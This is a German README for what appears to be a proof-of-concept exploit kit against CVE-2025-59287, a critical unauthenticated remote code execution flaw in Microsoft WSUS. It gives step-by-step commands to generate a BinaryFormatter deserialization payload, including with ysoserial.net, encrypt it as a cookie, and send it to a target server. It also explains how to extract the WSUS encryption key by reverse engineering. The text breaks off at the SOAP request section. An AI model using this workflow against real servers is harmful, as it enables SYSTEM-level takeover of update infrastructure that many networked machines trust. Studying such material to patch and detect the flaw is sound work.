CVE-2025-59287 Proof-of-Concept-Exploit

Überblick über die Schwachstelle

CVE-2025-59287 ist eine kritische Schwachstelle zur Remote-Codeausführung (RCE) in Microsoft Windows Server Update Services (WSUS). Die Schwachstelle wird durch unsichere Deserialisierung von AuthorizationCookie-Daten über BinaryFormatter in der Methode EncryptionHelper.DecryptData() verursacht.

Auswirkung: Nicht authentifizierte Angreifer können Remote-Codeausführung mit SYSTEM-Berechtigungen erreichen, indem sie bösartig verschlüsselte Cookies an den GetCookie()-Endpunkt senden.

CVSS-Score: Kritisch (9.8)

Details zur Schwachstelle

• Betroffene Komponente: WSUS ClientWebService.asmx GetCookie()-Endpunkt
• Grundursache: BinaryFormatter.Deserialize() wird auf nicht vertrauenswürdige Eingaben ohne ordnungsgemäße Validierung angewendet
• Angriffsvektor: Bösartig verschlüsseltes Cookie, das an den SOAP-Endpunkt GetCookie() gesendet wird
• Erforderliche Authentifizierung: Nein (nicht authentifizierte RCE)
• Betroffene Ports: 8530 (HTTP), 8531 (HTTPS)

Architektur

┌─────────────────┐
│   Angreifer     │
│                 │
│  1. Generieren  │
│     BinaryFmt   │
│     Payload     │
│                 │
│  2. Verschlüss. │
│     Payload     │
│                 │
│  3. SOAP-       │
│     Anfrage     │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│   WSUS-Server   │
│                 │
│  GetCookie()    │
│  Endpunkt       │
│                 │
│  DecryptData()  │◄─── Verwundbar
│                 │
│  BinaryFormatter│◄─── Unsichere Deserialisierung
│  Deserialize()  │
│                 │
│  Ausführen      │◄─── RCE als SYSTEM
│  Payload        │
└─────────────────┘

Dateistruktur

exploit-poc/
├── wsus_exploit.py                    # Haupt-Exploit-Skript
├── BinaryFormatterPayloadGenerator.cs # .NET-Payload-Generator (C#)
├── encrypt_payload.py                 # WSUS-Verschlüsselungs-Helfer
├── requirements.txt                   # Python-Abhängigkeiten
└── README.md                          # Diese Datei

Voraussetzungen

Python-Umgebung

pip install -r requirements.txt

.NET Framework (für die Payload-Generierung)

• Windows mit .NET Framework 4.0 oder höher
• Oder alternativ ysoserial.net verwenden

Verwendung

Methode 1: Vollständiger Arbeitsablauf

Schritt 1: BinaryFormatter-Payload generieren

Option A: Mit dem mitgelieferten C#-Generator

# Generator kompilieren
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs

# Payload generieren
BinaryFormatterPayloadGenerator.exe calc.exe
# Erstellt: payload_YYYYMMDDHHMMSS.bin

Option B: Mit ysoserial.net (empfohlen)

ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin

Schritt 2: Payload verschlüsseln

python encrypt_payload.py payload.bin -o encrypted_cookie.txt

WICHTIG: Der Verschlüsselungsschlüssel in encrypt_payload.py ist ein Platzhalter. Für eine echte Ausnutzung müssen Sie:

1. Den tatsächlichen Verschlüsselungsschlüssel aus den WSUS-Binärdateien per Reverse Engineering ermitteln
2. encrypt_payload.py mit dem echten Schlüssel aktualisieren
3. Siehe Abschnitt „WSUS-Verschlüsselungsschlüssel finden“ unten

Schritt 3: Exploit ausführen

# Mit Payload-Datei (wird spontan verschlüsselt)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin

# Mit vorverschlüsseltem Cookie
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"

# Mit HTTPS (Port 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin

Methode 2: Schnelltest

# Generieren, verschlüsseln und ausnutzen in einem Schritt
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <ZIEL_IP> -f payload_*.bin

Den tatsächlichen WSUS-Verschlüsselungsschlüssel finden

Der Verschlüsselungsschlüssel muss für eine echte Ausnutzung aus den WSUS-Binärdateien extrahiert werden.

Methode 1: Reverse Engineering mit dnSpy

1. WSUS-DLLs lokalisieren:

   %ProgramFiles%\Update Services\WebServices\bin\
   

   Oder IIS-Webverzeichnis:

   %SystemDrive%\inetpub\wwwroot\wsusadmin\
   

2. In dnSpy öffnen (kostenloser .NET-Decompiler):

   • Download: https://github.com/dnSpy/dnSpy
   • Microsoft.UpdateServices.WebServices.dll öffnen

3. Nach EncryptionHelper suchen:

   • Navigieren Sie zum Namespace Microsoft.UpdateServices.WebServices
   • Finden Sie die Klasse EncryptionHelper
   • Betrachten Sie die Methoden DecryptData() und EncryptData()
   • Extrahieren Sie den Verschlüsselungsschlüssel und den Algorithmus

4. Häufige Muster:

   • Hartcodierte Byte-Arrays
   • String-Konstanten
   • Schlüsselableitung aus Maschinen-GUID/SID

Methode 2: Laufzeitanalyse

1. WinDbg oder x64dbg verwenden:

   • Haltepunkt auf EncryptionHelper.DecryptData() setzen
   • Speicher/Register auf Schlüsselmaterial untersuchen
   • Ver- und Entschlüsselungsvorgänge überwachen

2. Process Monitor verwenden:

   • Nach WSUS-Prozess filtern
   • Nach Registrierungs-/Konfigurationsdateizugriffen suchen
   • Schlüssel könnten in der Registrierung gespeichert sein

Methode 3: Statische Analyse

1. IDA Pro oder Ghidra verwenden:

   • WSUS-Binärdateien laden
   • Nach verschlüsselungsbezogenen Strings suchen
   • Schlüsselableitungsalgorithmen analysieren

2. strings-Dienstprogramm verwenden:

   strings Microsoft.UpdateServices.WebServices.dll | grep -i key
   strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
   

Exploit aktualisieren

Sobald Sie den tatsächlichen Schlüssel haben, aktualisieren Sie encrypt_payload.py:

# Ersetzen Sie diese Zeile in encrypt_wsus_cookie():
key_material = b"WSUS_Cookie_Encryption_Key_v1.0"  # PLATZHALTER

# Mit dem tatsächlichen Schlüssel:
key_material = b"ACTUAL_KEY_FROM_WSUS_BINARIES"

Oder über die Befehlszeile übergeben:

python encrypt_payload.py payload.bin -k "ACTUAL_KEY"

Exploit-Ablauf

┌─────────────────────────────────────────────────────────────┐
│ 1. BinaryFormatter-Payload generieren                       │
│    ObjectDataProvider → Process.Start() → Befehlsausführung │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 2. Payload verschlüsseln                                    │
│    AES-128-CBC mit WSUS-Verschlüsselungsschlüssel           │
│    Base64-Kodierung für die Übertragung                     │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 3. SOAP-Anfrage erstellen                                   │
│    AuthorizationCookie-Header enthält verschlüsselten Payload│
│    GetCookie()-Methode im SOAP-Body                         │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 4. An WSUS-Endpunkt senden                                  │
│    POST /ClientWebService/ClientWebService.asmx              │
│    Port 8530 (HTTP) oder 8531 (HTTPS)                       │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 5. WSUS-Verarbeitung                                        │
│    DecryptData() entschlüsselt Cookie                       │
│    BinaryFormatter.Deserialize() führt Payload aus          │
│    → RCE als SYSTEM                                         │
└─────────────────────────────────────────────────────────────┘

SOAP-Anfragestruktur